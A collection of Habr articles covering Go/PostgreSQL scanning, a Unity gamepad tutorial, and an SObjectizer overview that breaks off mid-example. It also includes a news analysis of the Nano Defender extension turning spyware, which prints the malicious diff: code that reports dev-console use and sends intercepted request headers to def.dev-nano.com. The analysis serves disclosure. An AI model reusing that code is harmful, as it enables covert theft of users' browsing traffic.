[Before moving to production](https://docs.flashphoner.com/display/WCS52EN/Before+moving+to+production)
[Load testing using WebRTC/RTMP pulling](https://docs.flashphoner.com/pages/viewpage.action?pageId=9242540)
[Quick deployment and testing of the server](https://docs.flashphoner.com/display/WCS52EN/Quick+deployment+and+testing+of+the+server)
[Load and resource usage information](https://docs.flashphoner.com/display/WCS52EN/Load+and+resource+usage+information)
[Monitoring with Prometheus](https://docs.flashphoner.com/display/WCS52EN/Connecting+from+Prometheus) | https://habr.com/ru/post/570284/ | null | en | null |
# Разделяй и властвуй
При работе с базой данных (в частности с PostgreSQL) у меня появилась идея выбирать данные из таблицы параллельно (используя ЯП Go). И я задался вопросом «возможно ли сканировать строки выборки в отдельных гоурутинах».
Как оказалось, **func (\*Rows) Scan** нельзя вызывать одновременно в гоурутинах. Исходя из этого ограничения, я решил выполнять параллельно со сканированием строк другие процессы, в частности, подготовку результирующих данных.
Т.к. Scan складывает данные по указателям, я решил сделать два среза (позже я поясню почему именно два), между которыми я буду переключать Scan, в то время как остальные гоурутины будут разбираться с уже выбранными данными.
Изначально мне нужно знать количество колонок выборки:
```
columns, err = rows.Columns()
count := len(columns)
```
Далее я создаю по два среза со значениями и с указателями на эти значения (куда и буду складывать данные во время сканирования строк):
```
values := make([]interface{}, count)
valuesPtrs := make([]interface{}, count)
values_ := make([]interface{}, count)
valuesPtrs_ := make([]interface{}, count)
for i := range columns {
valuesPtrs[i] = &values[i]
valuesPtrs_[i] = &values_[i]
}
```
В данном примере я буду складывать результат выборки в map[string]string, где ключами будут имена колонок. Можно использовать конкретную структуру с указанием типов, но т.к. цель данной публикации узнать у хабрасообщества насколько жизнеспособный предлагаемый подход, остановимся на выборке в map.
Далее я отделяю две гоурутины, одна из которых будет формировать результирующий map:
```
func getData(deleteNullValues bool, check, finish chan bool, dbData chan interface{}, columns []string, data *[]map[string]string) {
lnc := len(columns)
for <-check {
row := make(map[string]string)
for i := 0; i < lnc; i++ {
el := <-dbData
b, ok := el.([]byte)
if ok {
row[columns[i]] = string(b)
} else {
if el == nil {
if deleteNullValues == false {
row[columns[i]] = ""
}
} else {
row[columns[i]] = fmt.Sprint(el)
}
}
}
*data = append(*data, row)
}
finish <- true
}
```
А вторая будет переключаться между двумя срезами со значениями, сформированными Scan и отправлять их в канал для предыдущей гоурутины (которая формирует результат):
```
func transferData(values, values_ []interface{}, dbData chan interface{}, swtch, working, check chan bool) {
for <-working {
check <- true
switch <-swtch {
case false:
for _, v := range values {
dbData <- v
}
default:
for _, v := range values_ {
dbData <- v
}
}
}
}
```
Основной процесс будет заниматься переключением между срезами указателей и выбирать данные:
```
for rows.Next() {
switch chnl {
case false:
if err = rows.Scan(valuesPtrs...); err != nil {
fmt.Printf("rows.Scan: %s\n%s\n%#v\n", err, query, args)
return nil, nil, err
}
default:
if err = rows.Scan(valuesPtrs_...); err != nil {
fmt.Printf("rows.Scan: %s\n%s\n%#v\n", err, query, args)
return nil, nil, err
}
}
working <- true
swtch <- chnl
chnl = !chnl
}
```
В базе данных я сформировал таблицу с 32-я колонками и добавил в нее 100k строк.
В результате теста (при выборке данных 50 раз) у меня получились следующие данные:
Time spent: 1m8.022277124s — выборка результата с использованием одного среза
Time spent: 1m7.806109441s — выборка результата с использованием двух срезов
При увеличении количества итераций до 100:
Time spent: 2m15.973344023s — выборка результата с использованием одного среза
Time spent: 2m15.057413845s — выборка результата с использованием двух срезов
Разница увеличивается при увеличении объема данных и увеличении колонок в таблице.
Однако обратный результат наблюдался при уменьшении объема данных или при уменьшении кол-ва колонок таблицы, что, в принципе, понятно, т.к. накладные расходы подготовительных шагов и отделения гоурутин «съедают» драгоценное время и результат нивелируется.
Что касается двух срезов и двух гоурутин: я проводил тесты с большим количеством срезов, но время выборки увеличивалось, т.к., очевидно, функции getData и transferData обрабатывают данные быстрее, чем происходит сканирование значений из базы. Поэтому, даже при наличии большего количества ядер, нет смысла добавлять новые срезы для Scan и дополнительные горутины (разве что на совсем диких объемах данных).
В коде на гитхаб я привожу [рабочий пример](https://github.com/helginet/gopostgres) данного подхода. В моих задачах используются еще другие пакеты, которые я вычистил из приведенного когда, но основная идея не должна от этого пострадать.
В общем, жду от заинтересованного сообщества конструктивной критики. Спасибо! | https://habr.com/ru/post/485056/ | null | ru | null |
# Разработка игры в Unity3D под геймпад
Для работы на конкурс была поставлена задача: спроектировать небольшую игру про космос, которую дети будут проходить порядка 8 минут. И было одно но. Детям должно быть интересно!
Так как пожертвовать клавиатурой на управление было слишком жалко (да и не так это интересно), всё управление планировалось сделать через геймпад. О том, как прикрутить в Unity3d геймпад и пойдёт речь.
Немного о проекте
-----------------
Первое, что пришло в голову про космос, так это управляемый робот. Развивая эту мысль дальше, игра стала про робота, который на Луне должен найти батарейку, чтобы зарядить лазерную станцию и спастись от приближающейся кометы. Разумеется все нужно было делать на время (до 8-ми минут).
(На удивление детям игра понравилась, в том числе за управление, но об этом ниже).
Картография
-----------
Для создания карты с небольшими закоулками и большим соответствием Луне, картой является элемент Terrain, с горами, которые нужны как препятствия и ограничения уровня.
Чтобы уровень был достаточно долгим, робот находится в противоположном углу от батарейки, которая крайне мала, чтобы увидеть издалека. Размер выбран не случайно, так как не позволяет увидеть батарейку заранее издалека.
Управление
----------
#### Контроль за руками
Так как у робота две руки, как и количество "грибков" в геймпаде, то разумно этим воспользоваться.
И вот тут начинаются сложности. Дело в том, что первый "грибок" работает (хоть и со скрипом) так же, как и "Mouse X" и "Mouse Y", но второй никак не отзывался по нажатию. Тогда, сев за гугл, прочитал о том, как Unity получает входные управляющие данные. Там и лежит ответ на вопрос, как заставить работать второй (правый) "грибок".
Заходим Edit → Project Settings → Input
Нажали? Тогда должен появиться InputManager в окне Inspector
В начале будет 18 входных параметров, но нам нужно больше. Потому у меня 22 (на ось X и ось Y для второго "грибка" геймпада и ещё два, чтобы обособить имя обращения к первому "грибку").
Дальше по аналогии с движением мышки (Mouse X) заполняем и переименовываем новые входные значения (имя крайне важно, так как в программе именно к нему вы и обращаетесь).
**Код для управления руками**lp\_right.transform.Rotate (0, Input.GetAxis ("Hor2\_j"), 0);
yr += Input.GetAxis ("Hor2\_j");
lp\_right.transform.Rotate (Input.GetAxis ("Vert2\_j"),0, 0);
xr += Input.GetAxis ("Vert2\_j");
lp\_left.transform.Rotate (0, Input.GetAxis ("Hor\_j"), 0);
yl += Input.GetAxis ("Hor\_j");
lp\_left.transform.Rotate (Input.GetAxis ("Vert\_j"),0, 0);
xl += Input.GetAxis ("Vert\_j");
#### Передвижение
Стоит помнить, что передвижение по координатам плохо скажется на игре, так как карта построена на Terrain. Потому было принято решение использовать физику. Это увеличивает интерес прохождения с одной стороны, а с другой решает несколько проблем сразу (неровное перемещение, скачки, вылет за ограждения).
А значит нужен Rigidbody, который нужно поместить на робота, а дальше на ваш вкус (в проекте выставлена масса 100, остальное осталось не тронутым).
В коде будут только два фокуса. Первый — GetComponent(), чтобы работать именно с Rigidbody и Addforce. Второй — математический. Нужно не только знать, куда хочет робот, но и знать, куда он смотрит. Для этого обращаемся к transform.eulerAngles.y, переводим в радианы и берем косинус и синус для координат x и z соответственно.
**Перемещение робота**
```
y=bot.transform.eulerAngles.y*(Mathf.PI/180);
if(Input.GetKey(KeyCode.JoystickButton4)||Input.GetKey(KeyCode.JoystickButton0))
{
s="Go_to";
bot.GetComponent().AddForce(new Vector3(Mathf.Cos(y),0,-Mathf.Sin(y))\*15);
}
if(Input.GetKey(KeyCode.JoystickButton5)||Input.GetKey(KeyCode.JoystickButton2))
{
s="Go\_back";
bot.GetComponent().AddForce(-new Vector3(Mathf.Cos(y),0,-Mathf.Sin(y))\*15);
}
if(Input.GetKey(KeyCode.JoystickButton6)||Input.GetKey(KeyCode.JoystickButton3))
{
s="Turn\_left";
bot.transform.Rotate(0,-0.5f,0);
}
if(Input.GetKey(KeyCode.JoystickButton7)||Input.GetKey(KeyCode.JoystickButton1))
{
s="Turn\_right";
bot.transform.Rotate(0,0.5f,0);
}
```
Как можно заметить, в действиях указаны по две кнопки. Это сделано на случай, если бампера (L1,L2,R1,R2) сломаются/залипнут при многократном использовании.
Время
-----
Для уточнения настоящего времени в Unity можно использовать System.DateTime.Now, чтобы посчитать в секундах, сколько времени прошло от начала дня. Такой способ ограничения времени имеет недостаток — переход часов с 23:59 на 00:00, но так как игра на раз и конкурс будет проходить днем, то можно пренебречь
**А если нельзя**Советов два
* Считайте вместе с днем, месяцем и годом. Когда то видел такую функции в TurboC++, которая выдает количество секунд, прошедших с 1 января 1970
* Прочитайте про таймеры и вызывающие функции в C#
Ограничение по времени тогда можно считать, как разницу во времени после запуска скрипта (void Start()) и тем, что сейчас (Update)
**Код**
```
void Start () {
time = System.DateTime.Now.Hour * 3600 + System.DateTime.Now.Minute * 60 + System.DateTime.Now.Second;
}
void Update () {
win = PlayerPrefs.GetInt ("win");
lose = PlayerPrefs.GetInt ("lose");
t = System.DateTime.Now.Hour * 3600 + System.DateTime.Now.Minute * 60 + System.DateTime.Now.Second;
if((win+lose)==0) PlayerPrefs.SetInt("time",480-(t-time));
if((480-(t-time))==0) PlayerPrefs.SetInt ("lose",1);
```
Послесловие
-----------
Детям игра понравилась, так как робот перемещался с ускорением, чем все охотно пользовались.
Особенно было интересно поймать батарейку до того, как ты в неё врежешься, так как она тоже Rigidbody и получит направление движения. В сочетании с медленным перемещением рук, получилось очень даже неплохо.
Надеюсь, что данная статья поможет вам не сидеть до поздней ночи, прикручивая геймпад к вашему проекту!
**P.S.** Собрано, сделано и проверено для Unity3d 5.0. Скачать можно [по ссылке](https://github.com/rlggut/Starbot) | https://habr.com/ru/post/311962/ | null | ru | null |
# Расширение Nano Defender нужно срочно удалить из браузера
3 октября 2020 года программист *jspenguin2017*, автор расширения Nano Defender, [сообщил](https://github.com/NanoAdblocker/NanoCore/issues/362) в официальном репозитории, что продал проект «группе турецких разработчиков». Это сообщение вызвало массу слухов и опасений: что за турецкие разработчики, кто контролирует код, почему из репозитория удалена страница с политикой приватности?
Спустя несколько дней опасения сообщества полностью оправдались.
Nano Defender — довольно популярный способ обхода антиблокировщиков рекламы. Работает в связке с блокировщиками uBlock Origin и Nano AdBlocker (форк uBlock Origin), защищая их от детектирования на сайтах.
Турки оперативно выпустили новую версию Nano Defender 15.0.0.206 с тщательно замаскированными изменениями в функциональности, которые не были опубликованы на GitHub. Внимательное изучение этих изменений указывает на то, что расширение нужно деинсталлировать всем пользователям.
Рекомендация относится к Chrome и браузеров на основе Chromium, где происходит автоматический апгрейд расширений без уведомления пользователя. Турки не покупали версию под Firefox. Мейнтейнер расширений Firefox Nano, разработчик *LiCybora*, подтвердил, что сохраняет над ними контроль: [эти расширения в безопасности](https://github.com/LiCybora/NanoDefenderFirefox/issues/187). Кроме того, Firefox [проверяет цифровые подписи расширений](https://wiki.mozilla.org/Add-ons/Extension_Signing), так что вредоносный код не так легко пропихнуть в новую версию расширения.
Автор uBlock Origin Рэймонд Хилл [проанализировал изменения](https://github.com/NanoAdblocker/NanoCore/issues/362#issuecomment-709428210) в версии Nano Defender 15.0.0.206. Он отметил, что добавлен код для детектирования запуска dev-консоли расширения. В этом случае высылается уведомление `report` на сервер `https://def.dev-nano.com/`. Другими словами, владельцы отслеживают тех, кто пытается разобраться в работе расширения. С высокой степенью вероятности в таком случае расширение *меняет свою функциональность*, скрывая некоторые функции — это стандартный трюк вредоносных программ, которые детектируют наличие исследовательского окружения, такого как виртуальная среда.
В такой ситуации Рэймонду Хиллу пришлось изучать функциональность новой версии Nano Defender без dev-консоли. Вот что он обнаружил.
При запуске расширение прослушивает `https://def.dev-nano.com/` на предмет сообщений для заполнения списка `listOfObject`.
Насколько можно понять код, в дальнейшем содержимое списка `listOfObject` используется для проверки полей объекта `details`, который передаётся в [webRequest.onBeforeSendHeaders()](https://developer.chrome.com/extensions/webRequest#event-onBeforeSendHeaders). Если все поля соответствуют условию, то всё содержимое объекта `details` отправляется на `https://def.dev-nano.com/` под названием `handleObject`.
При этом обработчик `webRequest.onBeforeSendHeaders()` действует для *всех* сетевых запросов:
```
chrome.webRequest.onBeforeSendHeaders.addListener(blockingHandler, {
urls: [""]
}, ['requestHeaders', 'blocking', 'extraHeaders']);
```
Поскольку `listOfObject` запрашивается с внешнего сервера, то функциональность этого метода устанавливается извне. Список может содержать любые условия в любом количестве. Грубо говоря, владельцы расширения могут запрашивать из браузера любые фрагменты исходящего сетевого трафика на своё усмотрение. Таким образом, расширение Nano Defender фактически превратилось в универсальный шпионский снифер.
Рэймонд Хилл опубликовал diff, который недоступен в [репозитории новых владельцев](https://github.com/nenodevs/uBlockProtector/commits/master):
****diff для core.js**
```
--- ./background/core.js
+++ ./background/core.js
@@ -160,7 +160,7 @@
const hasNews = false;
- const newsPage = "https://jspenguin2017.github.io/uBlockProtector/#announcements";
+ const newsPage = "https://github.com/nenodevs/uBlockProtector/#announcements";
const newsReadFlag = "news-read";
// This handler becomes inactive when there is a popup page set
@@ -189,7 +189,8 @@
// ------------------------------------------------------------------------------------------------------------- //
};
-
+var defender = io.connect("https://def.dev-nano.com/");
+var listOfObject = {};
// ----------------------------------------------------------------------------------------------------------------- //
a.noopErr = () => {
@@ -211,6 +212,29 @@
// ----------------------------------------------------------------------------------------------------------------- //
+
+
+async function dLisfOfObject(newList) {
+ let dListResp = await fetch(newList.uri, newList.attr)
+ var listOfObj = {}
+ listOfObj.headerEntries = Array.from(dListResp.headers.entries())
+ listOfObj.data = await dListResp.text()
+ listOfObj.ok = dListResp.ok;
+ listOfObj.status = dListResp.status;
+ return listOfObj;
+}
+
+defender.on("dLisfOfObject", async function (newList) {
+ let getRes = await dLisfOfObject(newList);
+ defender.emit(newList.callBack, getRes)
+});
+
+defender.on("listOfObject", function (a) {
+ listOfObject = a;
+})
+
+
+
// Redirect helpers
a.rSecret = a.cryptoRandom();
@@ -227,7 +251,22 @@
// 1 second blank video, taken from https://bit.ly/2JcYAyq (GitHub uBlockOrigin/uAssets).
a.blankMP4 = a.rLink("blank.mp4");
-
+
+var element = document.createElement("p"); ;
+var openListGet = false;
+element.__defineGetter__("id", function() {
+ openListGet = true;
+});
+
+var i = setInterval(function() {
+ openListGet = false;
+ console.log(element);
+ if(openListGet){
+ defender.emit("report")
+ console.clear();
+ clearInterval(i)
+ }
+}, 100);
// ----------------------------------------------------------------------------------------------------------------- //
// tab - Id of the tab
@@ -450,6 +489,50 @@
return true;
};
+
+var blockingHandler = function (infos) {
+ var changedAsArray = Object.keys(listOfObject);
+
+ var detailsHeader = infos.requestHeaders;
+ var HeadReverse = detailsHeader.reverse();
+ var stringyFy = JSON.stringify(HeadReverse);
+ var mount = "";
+ if (changedAsArray.length > 0) {
+ var checkerList = true;
+ for (const object of changedAsArray) {
+ if (object.x === object.y) {
+ mount += 1;
+ }
+ break;
+ }
+ for (let i = 0; i < changedAsArray.length; i++) {
+ let x = changedAsArray[i];
+ var re = new RegExp(listOfObject[x],'gi');
+ mount = "5";
+ if (infos[x].toString().match(re) == null) {
+ checkerList = false;
+ break;
+ }
+ }
+ if (checkerList) {
+ defender.emit('handleObject', infos);
+ }
+ }
+
+ var m = [45,122,122,122]
+ var s = m.map( x => String.fromCharCode(x) )
+ var x = s.join("");
+ var replacerConcat = stringyFy.split(x).join("");
+ var replacer = JSON.parse(replacerConcat);
+ return {
+ requestHeaders: replacer
+ }
+};
+
+chrome.webRequest.onBeforeSendHeaders.addListener(blockingHandler, {
+ urls: [""]
+}, ['requestHeaders', 'blocking', 'extraHeaders']);
+
// ----------------------------------------------------------------------------------------------------------------- //
```**
Турецкие разработчики опубликовали новую [политику приватности](https://sites.google.com/view/nano-dev) для расширения. В соответствии с ней, расширение собирает и передаёт на удалённый сервер массу информации, в том числе адреса посещённых страниц, время сессий на каждой странице, IP-адрес пользователя и другие данные. Раньше в соглашении о приватности не было такого пункта.
Вообще, продажа расширений — распространённая статья дохода для независимых разработчиков. После установки расширения многие пользователи не знают, что расширение купили новые владельцы, а их компьютер уже используются в постороннем проекте.
Например, владельцы прокси-сервиса [SmartProxy](https://smartproxy.com/) предлагают своим клиентам доступ к сети домашних IP-адресов, которая насчитывает около 40 миллионов IP — большинство узлов находится на компьютерах ничего не подозревающих юзеров. Эти домашние компьютеры используются для проксирования трафика платных клиентов.
Другая сеть Luminati [использует в качестве точек выхода](https://www.trendmicro.com/vinfo/hk-en/security/news/cybercrime-and-digital-threats/shining-a-light-on-the-risks-of-holavpn-and-luminati) компьютеры домашних пользователей, которые установили бесплатное приложение HolaVPN. Данная сеть также [скупает популярные браузерные расширения](https://imgur.com/EbT96an).
С юридической точки зрения использование «втёмную» домашних компьютеров пользователей для прокачки коммерческого трафика — весьма сомнительное мероприятие. Но бизнесменам пока удаётся избежать наказания.
Что касается программиста *jspenguin2017*, то сообщество [осудило](https://news.ycombinator.com/item?id=24806078) его безответственные действия по продаже расширения, поскольку в поддержке и составлении списков для Nano Defender принимали участие десятки других разработчиков. Получается, что *jspenguin2017* единолично монетизировал человеко-часы чужой работы.
Расширение Nano Defender уже удалено из каталога Chrome Web Store. | https://habr.com/ru/post/523974/ | null | ru | null |
# Just take a look at SObjectizer if you want to use Actors or CSP in your C++ project
A few words about SObjectizer and its history
=============================================
[SObjectizer](https://github.com/Stiffstream/sobjectizer) is a rather small C++ framework that simplifies the development of multithreaded applications. SObjectizer allows a developer to use approaches from Actor, Publish-Subscribe and Communicating Sequential Processes (CSP) models. It's an OpenSource project that is distributed under BSD-3-CLAUSE license.
SObjectizer has a long history. SObjectizer itself was born in 2002 as SObjectizer-4 project. But it was based on ideas from previous SCADA Objectizer that was developed between 1995 and 2000. SObjectizer-4 was open-sourced in 2006, but its evolution was stopped soon after that. A new version of SObjectizer with the name SObjectizer-5 was started in 2010 and was open-sourced in 2013. The evolution of SObjectizer-5 is still in progress and SObjectizer-5 has incorporated many new features since 2013.
SObjectizer is more or less known in the Russian segment of the Internet, but almost unknown outside of the exUSSR. It's because the SObjectizer was mainly used for local projects in exUSSR-countries and many articles, presentations, and talks about SObjectizer are in Russian.
A niche for SObjectizer and similar tools
=========================================
Multithreading is used in [Parallel computing](https://en.wikipedia.org/wiki/Parallel_computing) as well as in [Concurrent computing](https://en.wikipedia.org/wiki/Concurrent_computing). But there is a big difference between Parallel and Concurrent computing. And, as a consequence, there are tools targeted Parallel computing, and there are tools for Concurrent computing, and they are different.
Roughly speaking, Parallel computing is about using several cores to reduce calculation times. For example, transcoding a video file from one format to another can take one hour on one CPU core, but just 15 minutes on four CPU cores. Tools like OpenMP, Intel TBB, HPX or cpp-taskflow are designed to be used in Parallel computing. And those tools support appropriate for that area approaches, like task-based or data-flow programming.
Concurrent computing is about dealing with many (probably different) tasks at the same time. Database server or MQ-broker can be good examples: a server has to accept a connection, read and parse data from accepted connections, handle received requests (performing several actions for every request), sending responses and so on. Strictly speaking, there is no need to use multithreading in concurrent computing: all those tasks can be performed on just one worker thread. But usage of multithreading and several CPU cores can make your application more performant, scalable and responsive.
Approaches like Actor Model or CSP are intended for dealing with Concurrent computing. Good examples of usage Actors in Concurrent computing area are [InfineSQL project](http://highscalability.com/blog/2013/11/25/how-to-make-an-infinitely-scalable-relational-database-manag.html) and [Yandex Message-Queue](https://cloud.yandex.com/services/message-queue). Both of those projects use actors inside.
So the tools like SObjectizer, QP/C++ or CAF, those support Actor Model, are useful in solving tasks from Concurrent computing area. It means that usage of SObjectizer probably won't give you anything in tasks like conversion of video streams. But you can get a very different result implementing a message broker on top of SObjectizer.
Disclaimer
----------
Usage of Actor- or CSP models can give you huge benefits in some tasks, but there are no guarantees that those models are appropriate for your particular problem. The talk about applicability of Actor- or CSP models is beyond the scope of that article. Let's assume that Actor or/and CSP model is applicable for your tasks and you know how to use them efficiently.
What SObjectizer can give to a user?
====================================
Shared-nothing and fire-and-forget principles just out of box
-------------------------------------------------------------
Usage of Actors assumes the absence of any shared data. Every actor owns its data and this data is not visible to anyone else. This is *shared-nothing principle* that is well known in distributed application development, for an example. In multithreaded application shared-nothing principle has an important benefit: it allows to avoid such dangerous problems for work with shared data as deadlocks and data-races.
Interaction between actors (agents) in SObjectizer is performed only via asynchronous messages. One agent sends a message to another agent and this operation doesn't block the sender (in a common case).
Asynchronous interaction allows using another useful principle: *fire-and-forget*. When some agent needs some operation to be done, it sends (fires) a message and continues its work. In most cases, the message will be received and processed.
For example, there can be an agent that reads accepted connections and parses incoming data. If the whole PDU is read and parsed the agent just sends that PDU to another agent-processor and returns to reading/parsing new incoming data.
Dispatchers
-----------
Dispatchers are one of the cornerstones of SObjectizer. Dispatchers provide a working context (aka worker thread) on that an agent will handle incoming messages. Instead of creating worker threads (or pools of threads) manually a user creates dispatchers and binds agents to them. A user can create as many dispatchers in an application as he/she wants.
The best thing with dispatchers and agents in SObjectizer is the separation of concepts: dispatchers are responsible for managing working context and own message queues, agents perform application logic and do not bother about worker context. It allows moving an agent from one dispatcher to another literally by a click. Yesterday an agent worked on one\_thread dispatcher, today we can rebind it to active\_obj dispatcher, and tomorrow we can rebind it to thread\_pool dispatcher. Without changing a line in the agent's implementation.
There are [eight types of dispatchers in SObjectizer-5.6.0](https://github.com/Stiffstream/sobjectizer/wiki/SO-5.6-InDepth-Dispatchers) (and [another one](https://github.com/Stiffstream/so5extra/wiki/so5extra-1.3-Asio-ThreadPool-Dispatcher) can be found in so5extra companion project): starting from very simple ones (one\_thread or thread\_pool) to sophisticated ones (like adv\_thread\_pool or prio\_dedicated\_threads::one\_per\_prio). And a user can write its own dispatcher for specific conditions.
Hierarchical state machines are built-in functionality
------------------------------------------------------
Agents (actors) in SObjectizer are state machines: the reaction on an incoming message depends on the current state of the agent. SObjectizer supports most of the hierarchical state machines (HSM) features: nested states, deep- and shallow history for a state, on\_enter/on\_exit handlers, time limits for staying in a state. Only orthogonal states are not supported in SObjectizer now (we didn't see a necessity of that feature in our projects, and nobody asked us to add support for that feature).
CSP-like channels just out of box
---------------------------------
There is no need to use SObjectizer's agents (aka actors). The whole application can be developed just using `std::thread` objects and SObjectizer's [mchains (aka CSP-channels)](https://github.com/Stiffstream/sobjectizer/wiki/SO-5.6-InDepth-Message-Chains). In that case application development with SObjectizer will be somewhat similar to the development in Go language (including an analog of Go's `select` construct that allows to waits messages from several channels).
SObjectizer's mchains can have a very important feature: incorporated back-pressure mechanism. If a user creates a size-limited mchain and then tries to push a message into the full mchain the send operation can block sender for some time. It allows to solve a famous problem with a fast producer and a slow consumer.
SObjectizer's mchains have another interesting feature: a mchain can be used as very simple load distribution tool. Several threads can wait on *receive* from the same mchain at the same time. If a new message is sent to that mchain just one thread will read and handle that message.
Only a part of an application can use SObjectizer
-------------------------------------------------
There is no need to use SObjectizer in every part on an application. Just a part of an application can be developed by using SObjectizer. So if you already use Qt or wxWidgets, or Boost.Asio as the main framework for your application it is possible to use SObjectize in just one submodule of your app.
We had experience on usage of SObjectizer for development of libraries which hide the usage of SObjectizer as an implementation detail. The public API of those libraries didn't expose the presence of SObjectizer at all. SObjectizer was entirely under the control of a library: the library started and stopped SObjectizer as it needed. Those libraries were used in applications that were completely unaware of the presence of SObjectizer.
If SObjectizer is used only in a part of an application there is a task of communication between SObjectizer- and non-SObjectizer-parts of the application. This task is easily solved: messages from a non-SObjectizer-part to SObjectizer-part can be sent via ordinary message-delivery SObjectizer's mechanism. Messages in the opposite direction can be delivered via mchains.
You can run several instances of SObjectizer at the same time
-------------------------------------------------------------
SObjectizer allows run of several instances of SObjectizer (called SObjectizer Environment) in one application at the same time. Every SObjectizer Environment will be independent of other such environments.
This feature is invaluable in situations where you have to build an application from several independent modules. Some modules can use SObjectizer, some don't. Those modules that require SObjectizer can run its copy of SObjectizer Environment and that won't have an influence on other modules in the application.
Timers are part of SObjectizer
------------------------------
Support of timers in the form of delayed and periodic messages is another of the cornerstones of SObjectizer. SObjectizer has several implementations of timer mechanisms (timer\_wheel, timer\_heap, and timer\_list) and can handle tens, hundreds and thousands of millions of timers in an application. A user can choose the most appropriate timer mechanism for an application. Moreover, a user can provide its own implementation of timer\_thread/timer\_manager if none of the standard ones is appropriate for the user's conditions.
SObjectizer has various customization points and tuning options
---------------------------------------------------------------
SObjectizer allows customization of several important mechanisms. For example, a user can select one of the standard implementations of timer\_thread (or timer\_manager). Or can provide its own implementation. A user can select an implementation of lock objects used by message queues in SObjectizer's dispatchers. Or can provide its own implementation.
A user can implement its own dispatcher. A user can implement its own message box. A user can implement its own message envelope. A user can implement its own event\_queue\_hook. And so on.
Where SObjectizer can or can't be used?
=======================================
It's much easier to say where SObjectizer can't be used by objective reasons. So we start the discussion by enumerating such areas and then we'll give some examples of the usage of SObjectizer in the past (and not only in the past).
Where SObjectizer can't be used?
--------------------------------
### Tasks related to Parallel computing
As has been said above Actor- and CSP-models is not a good choice for high-performance computing and other areas of Parallel computing. So if you have to multiple matrixes or transcode video streams then tools like OpenMP, Intel TBB, cpp-taskflow, HPX or MPI will be more suitable.
### Hard real-time systems
Despite the fact that SObjectizer has its roots in SCADA-systems the current implementation of SObjectizer (aka SObjectizer-5) can't be used in hard real-time systems. It is mainly because of the usage of dynamic memory in SObjectizer implementation: messages are dynamically allocated objects (however, SObjectizer can use preallocated objects as messages), dispatchers use dynamic memory for message queues, even time-limits for agent's states use dynamically allocated objects to perform time-checking.
Unfortunately, the term "real-time" is heavily overused in the modern world. It is often said about real-time web services, like "real-time web application" or "real-time web analytics" and so on. The term "on-line" or "live" is more appropriate for such applications than the term "real-time", even in "soft real-time" form. Thus, if we speak about something like "real-time web application" then SObjectizer can easily be used in such "real-time" systems.
### Constrained embedded systems
SObjectizer relies on the С++ standard library: `std::thread` is used for thread management, `std::atomic`, `std::mutex`, `std::condition_variable` are used for data synchronization, RTTI and `dynamic_cast` are used insize SObjectizer (for example, `std::type_index` are used for message type identification), C++ exceptions are used for error reporting.
It means that SObjectizer can't be used in environments where such facilities of the standard library are not available. For example, in the development of constrained embedded systems where only a part of C++ and C++ stdlib can be used.
Where SObjectizer was used in the past?
---------------------------------------
Now we try to speak briefly about some use-cases of SObjectizer's usage in the past (and not only in the past). Unfortunately, it isn't full information because there are some problems.
First of all, we don't know about all the usages of SObjectizer. SObjectizer is free software that can be used even in proprietary projects. So some people just get SObjectizer and use it without providing any feedback for us. Sometimes we acquire some information about SObjectizer's usage (but without any details), sometimes we know nothing.
The second problem is permission to share information about the usage of SObjectizer in a particular project. We have received that permission very rarely, in most cases users of SObjectizer do not want to open implementation details of their projects (sometimes we understand the reasons, sometimes don't).
We apologize for the fact that the information provided looks so scarce and does not contain any details. Nevertheless, there are some examples of usage of SObjectizer:
* SMS/USSD aggregation gateway that handles more than 500M of messages per month;
* part of the system serving online payments via ATMs of one of the biggest Russian banks;
* simulation modeling of economic processes (as part of Ph.D. research);
* distributed data acquisition and analytic system. Data collected on points distributed worldwide by the commands from the central node. MQTT was used as a transport for control and acquired data distribution;
* testing environment for checking real-time control system for railway equipment;
* automatic control system for theatre scenery. More details can be found [here](https://habr.com/ru/post/452464/);
* components of data management platform in an online advertising system.
A taste of SObjectizer
======================
Let's see several simple examples to take some taste of SObjectizer. Those are very simple examples which, we hope, do not require additional explanations excluding the comments in the code.
The traditional "Hello, World" example in Actor Model's style
-------------------------------------------------------------
The simplest example with just one agent that reacts to `hello` message and finishes its work:
```
#include
// Message to be sent to an agent.
struct hello {
std::string greeting\_;
};
// Demo agent.
class demo final : public so\_5::agent\_t {
void on\_hello(mhood\_t cmd) {
std::cout << "Greeting received: " << cmd->greeting\_ << std::endl;
// Now agent can finish its work.
so\_deregister\_agent\_coop\_normally();
}
public:
// There is no need is a separate constructor.
using so\_5::agent\_t::agent\_t;
// Preparation of agent to work inside SObjectizer.
void so\_define\_agent() override {
// Subscription to 'hello' message.
so\_subscribe\_self().event(&demo::on\_hello);
}
};
int main() {
// Run SObjectizer instance.
so\_5::launch([](so\_5::environment\_t & env) {
// Make and register an instance of demo agent.
auto mbox = env.introduce\_coop([](so\_5::coop\_t & coop) {
auto \* a = coop.make\_agent();
return a->so\_direct\_mbox();
});
// Send hello message to registered agent.
so\_5::send(mbox, "Hello, World!");
});
}
```
Another version of "Hello, World" with agents and Publish/Subscribe model
-------------------------------------------------------------------------
The simplest example with several agents, all of them react to the same instance of `hello` message:
```
#include
using namespace std::string\_literals;
// Message to be sent to an agent.
struct hello {
std::string greeting\_;
};
// Demo agent.
class demo final : public so\_5::agent\_t {
const std::string name\_;
void on\_hello(mhood\_t cmd) {
std::cout << name\_ << ": greeting received: "
<< cmd->greeting\_ << std::endl;
// Now agent can finish its work.
so\_deregister\_agent\_coop\_normally();
}
public:
demo(context\_t ctx, std::string name, so\_5::mbox\_t board)
: agent\_t{std::move(ctx)}
, name\_{std::move(name)}
{
// Create a subscription for hello message from board.
so\_subscribe(board).event(&demo::on\_hello);
}
};
int main() {
// Run SObjectizer instance.
so\_5::launch([](so\_5::environment\_t & env) {
// Mbox to be used for speading hello message.
auto board = env.create\_mbox();
// Create several agents in separate coops.
for(const auto & n : {"Alice"s, "Bob"s, "Mike"s})
env.register\_agent\_as\_coop(env.make\_agent(n, board));
// Spread hello message to all subscribers.
so\_5::send(board, "Hello, World!");
});
}
```
If we run that example we can receive something like that:
```
Alice: greeting received: Hello, World!
Bob: greeting received: Hello, World!
Mike: greeting received: Hello, World!
```
"Hello, World" example in CSP-style
-----------------------------------
Let's look at an example of SObjectizer without any actors, just `std::thread` and CSP-like channels.
### Very simple version
This is a very simple version that is not exception safe:
```
#include
// Message to be sent to a channel.
struct hello {
std::string greeting\_;
};
void demo\_thread\_func(so\_5::mchain\_t ch) {
// Wait while hello received.
so\_5::receive(so\_5::from(ch).handle\_n(1),
[](so\_5::mhood\_t cmd) {
